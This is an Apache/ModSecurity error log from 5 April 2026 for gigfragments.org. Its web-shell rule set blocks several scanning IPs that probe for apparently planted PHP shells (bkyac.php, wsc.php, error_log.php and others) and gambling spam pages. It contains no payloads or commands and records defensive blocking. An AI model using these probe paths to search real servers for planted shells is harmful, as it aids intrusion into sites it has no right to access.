[Sun Apr 05 08:12:41.595153 2026] [:error] [pid 45409:tid 45423] [client 4.223.104.110:26140] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGo-dHt_Oyw03gjCNga4gAAAMw"]
[Sun Apr 05 08:12:43.423564 2026] [:error] [pid 45305:tid 45383] [client 4.223.104.110:23435] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGo--jDQjr7aWhjflCFbAAAAIw"]
[Sun Apr 05 08:12:51.710858 2026] [:error] [pid 45409:tid 45426] [client 4.223.104.110:12937] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adGpA9Ht_Oyw03gjCNga-QAAAM8"]
[Sun Apr 05 08:13:01.975617 2026] [:error] [pid 45305:tid 45382] [client 4.223.104.110:26158] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsc.php"] [unique_id "adGpDejDQjr7aWhjflCFrAAAAIs"]
[Sun Apr 05 08:13:09.542341 2026] [:error] [pid 45409:tid 45426] [client 4.223.104.110:2381] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsc.php"] [unique_id "adGpFdHt_Oyw03gjCNgbFAAAAM8"]
[Sun Apr 05 08:13:12.127957 2026] [:error] [pid 45303:tid 45327] [client 4.223.104.110:17815] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsc.php"] [unique_id "adGpGLboQ9eViZ4hdnmwuQAAAAo"]
[Sun Apr 05 08:13:18.699006 2026] [:error] [pid 45304:tid 45349] [client 4.223.104.110:22818] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lvminl.php"] [unique_id "adGpHg5jnqDKKovdRkkrtgAAAEU"]
[Sun Apr 05 08:13:30.256497 2026] [:error] [pid 45409:tid 45415] [client 4.223.104.110:36089] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lvminl.php"] [unique_id "adGpKtHt_Oyw03gjCNgbQAAAAMQ"]
[Sun Apr 05 08:13:33.949094 2026] [:error] [pid 45303:tid 45340] [client 4.223.104.110:36038] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGpLbboQ9eViZ4hdnmw0QAAABc"]
[Sun Apr 05 08:13:37.001463 2026] [:error] [pid 45409:tid 45429] [client 4.223.104.110:17831] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGpMdHt_Oyw03gjCNgbTQAAANI"]
[Sun Apr 05 08:13:41.589430 2026] [:error] [pid 45305:tid 45395] [client 4.223.104.110:17793] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGpNejDQjr7aWhjflCGHAAAAJg"]
[Sun Apr 05 08:13:44.818177 2026] [:error] [pid 45305:tid 45385] [client 4.223.104.110:23451] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGpOOjDQjr7aWhjflCGJAAAAI4"]
[Sun Apr 05 08:13:46.607800 2026] [:error] [pid 30921:tid 30947] [client 4.223.104.110:17833] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGpOmFGQVn8Q0ueB26nAwAAARg"]
[Sun Apr 05 08:13:48.290890 2026] [:error] [pid 30921:tid 30936] [client 4.223.104.110:26159] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGpPGFGQVn8Q0ueB26nBQAAAQ0"]
[Sun Apr 05 08:13:54.564928 2026] [:error] [pid 30921:tid 30923] [client 4.223.104.110:12990] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGpQmFGQVn8Q0ueB26nFgAAAQA"]
[Sun Apr 05 08:13:58.615865 2026] [:error] [pid 45304:tid 45351] [client 4.223.104.110:12961] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGpRg5jnqDKKovdRkksGAAAAEc"]
[Sun Apr 05 08:44:29.893601 2026] [:error] [pid 45305:tid 45392] [client 20.199.97.195:2668] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGwbejDQjr7aWhjflCcZAAAAJU"]
[Sun Apr 05 08:44:34.638862 2026] [:error] [pid 30921:tid 30936] [client 20.199.97.195:2449] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGwcmFGQVn8Q0ueB26y-gAAAQ0"]
[Sun Apr 05 08:44:39.653775 2026] [:error] [pid 45305:tid 45380] [client 20.199.97.195:2656] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGwd-jDQjr7aWhjflCchgAAAIk"]
[Sun Apr 05 08:44:43.355987 2026] [:error] [pid 45305:tid 45381] [client 20.199.97.195:2222] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGwe-jDQjr7aWhjflCcmwAAAIo"]
[Sun Apr 05 08:44:49.849134 2026] [:error] [pid 45305:tid 45389] [client 212.227.21.19:34724] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adGwgejDQjr7aWhjflCcqgAAAJI"]
[Sun Apr 05 08:44:51.745529 2026] [:error] [pid 45409:tid 45426] [client 212.227.21.19:34726] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adGwg9Ht_Oyw03gjCNgrlwAAAM8"]
[Sun Apr 05 08:44:51.911128 2026] [:error] [pid 45409:tid 45415] [client 20.199.97.195:2669] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "adGwg9Ht_Oyw03gjCNgrmwAAAMQ"]
[Sun Apr 05 08:44:53.778432 2026] [:error] [pid 45304:tid 45352] [client 212.227.21.19:34738] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adGwhQ5jnqDKKovdRkk0uQAAAEg"]
[Sun Apr 05 08:44:53.994326 2026] [:error] [pid 45304:tid 45346] [client 20.199.97.195:2679] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "adGwhQ5jnqDKKovdRkk0ugAAAEI"]
[Sun Apr 05 08:44:55.788530 2026] [:error] [pid 30921:tid 30944] [client 212.227.21.19:34744] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adGwh2FGQVn8Q0ueB26zJgAAARU"]
[Sun Apr 05 08:44:57.726651 2026] [:error] [pid 45304:tid 45368] [client 212.227.21.19:6046] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adGwiQ5jnqDKKovdRkk0wgAAAFg"]
[Sun Apr 05 08:44:58.238067 2026] [:error] [pid 45303:tid 45337] [client 20.199.97.195:2194] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "adGwirboQ9eViZ4hdnm6owAAABQ"]
[Sun Apr 05 08:44:59.653708 2026] [:error] [pid 45303:tid 45338] [client 212.227.21.19:6062] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adGwi7boQ9eViZ4hdnm6qwAAABU"]
[Sun Apr 05 08:45:01.802913 2026] [:error] [pid 45305:tid 45379] [client 212.227.21.19:6072] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adGwjejDQjr7aWhjflCcwgAAAIg"]
[Sun Apr 05 08:45:02.493829 2026] [:error] [pid 45305:tid 45389] [client 20.199.97.195:16064] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGwjujDQjr7aWhjflCcygAAAJI"]
[Sun Apr 05 08:45:03.743723 2026] [:error] [pid 45304:tid 45350] [client 212.227.21.19:6074] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adGwjw5jnqDKKovdRkk0yAAAAEY"]
[Sun Apr 05 08:45:04.434733 2026] [:error] [pid 45303:tid 45321] [client 20.199.97.195:2493] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGwkLboQ9eViZ4hdnm6tQAAAAQ"]
[Sun Apr 05 08:45:05.632724 2026] [:error] [pid 45303:tid 45326] [client 212.227.21.19:6090] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "adGwkbboQ9eViZ4hdnm6tgAAAAk"]
[Sun Apr 05 08:45:06.524899 2026] [:error] [pid 45409:tid 45423] [client 20.199.97.195:2674] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGwktHt_Oyw03gjCNgrxAAAAMw"]
[Sun Apr 05 08:45:07.705538 2026] [:error] [pid 45409:tid 45428] [client 212.227.21.19:20172] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "adGwk9Ht_Oyw03gjCNgrxQAAANE"]
[Sun Apr 05 08:45:08.134131 2026] [:error] [pid 45305:tid 45376] [client 20.199.97.195:2486] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGwlOjDQjr7aWhjflCc3QAAAIU"]
[Sun Apr 05 08:45:09.753152 2026] [:error] [pid 45303:tid 45333] [client 212.227.21.19:20174] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "adGwlbboQ9eViZ4hdnm6ugAAABA"]
[Sun Apr 05 08:45:10.038391 2026] [:error] [pid 45303:tid 45329] [client 20.199.97.195:2188] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adGwlrboQ9eViZ4hdnm6uwAAAAw"]
[Sun Apr 05 08:45:11.121209 2026] [:error] [pid 45303:tid 45330] [client 20.199.97.195:2443] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adGwl7boQ9eViZ4hdnm6wAAAAA0"]
[Sun Apr 05 08:45:11.806208 2026] [:error] [pid 45304:tid 45367] [client 212.227.21.19:20184] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "adGwlw5jnqDKKovdRkk01AAAAFc"]
[Sun Apr 05 08:45:12.385769 2026] [:error] [pid 45303:tid 45327] [client 20.199.97.195:2446] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adGwmLboQ9eViZ4hdnm6wwAAAAo"]
[Sun Apr 05 08:45:13.834997 2026] [:error] [pid 45305:tid 45375] [client 212.227.21.19:20200] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "adGwmejDQjr7aWhjflCc9AAAAIQ"]
[Sun Apr 05 08:45:15.596854 2026] [:error] [pid 45305:tid 45384] [client 212.227.21.19:20208] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "adGwm-jDQjr7aWhjflCc-wAAAI0"]
[Sun Apr 05 08:45:16.847338 2026] [:error] [pid 45303:tid 45341] [client 20.199.97.195:16072] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adGwnLboQ9eViZ4hdnm60gAAABg"]
[Sun Apr 05 08:45:17.634520 2026] [:error] [pid 45304:tid 45368] [client 212.227.21.19:13156] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "adGwnQ5jnqDKKovdRkk02QAAAFg"]
[Sun Apr 05 08:45:19.693490 2026] [:error] [pid 45409:tid 45413] [client 212.227.21.19:13162] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "adGwn9Ht_Oyw03gjCNgr3gAAAMI"]
[Sun Apr 05 08:45:20.652872 2026] [:error] [pid 45305:tid 45381] [client 20.199.97.195:2470] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "adGwoOjDQjr7aWhjflCdDAAAAIo"]
[Sun Apr 05 08:45:21.746555 2026] [:error] [pid 30921:tid 30941] [client 212.227.21.19:13168] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "adGwoWFGQVn8Q0ueB26zWAAAARI"]
[Sun Apr 05 08:45:23.149788 2026] [:error] [pid 45305:tid 45384] [client 20.199.97.195:2228] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "adGwo-jDQjr7aWhjflCdGwAAAI0"]
[Sun Apr 05 08:45:23.674427 2026] [:error] [pid 45409:tid 45411] [client 212.227.21.19:13182] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "adGwo9Ht_Oyw03gjCNgr6wAAAMA"]
[Sun Apr 05 08:45:25.147442 2026] [:error] [pid 30921:tid 30944] [client 20.199.97.195:2643] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "adGwpWFGQVn8Q0ueB26zWgAAARU"]
[Sun Apr 05 08:45:25.555279 2026] [:error] [pid 30921:tid 30938] [client 212.227.21.19:13186] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adGwpWFGQVn8Q0ueB26zXAAAAQ8"]
[Sun Apr 05 08:45:27.027095 2026] [:error] [pid 30921:tid 30946] [client 20.199.97.195:2682] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "adGwp2FGQVn8Q0ueB26zXgAAARc"]
[Sun Apr 05 08:45:27.602049 2026] [:error] [pid 45409:tid 45419] [client 212.227.21.19:6342] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adGwp9Ht_Oyw03gjCNgr_gAAAMg"]
[Sun Apr 05 08:45:29.539265 2026] [:error] [pid 45303:tid 45328] [client 212.227.21.19:6350] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adGwqbboQ9eViZ4hdnm67AAAAAs"]
